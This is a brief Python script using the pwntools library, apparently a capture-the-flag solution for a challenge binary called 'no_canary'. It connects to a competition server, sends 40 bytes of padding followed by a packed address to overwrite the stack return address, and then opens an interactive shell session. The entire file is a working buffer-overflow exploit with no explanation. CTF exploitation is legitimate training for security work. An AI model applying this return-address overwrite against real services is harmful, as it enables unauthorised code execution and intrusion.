from pwn import *
context.arch = 'amd64'

# p = process('./no_canary')
p = remote('shell.actf.co', 20700)
p.send('A'*40)
p.send(p64(0x00401186))
p.sendline()
p.interactive()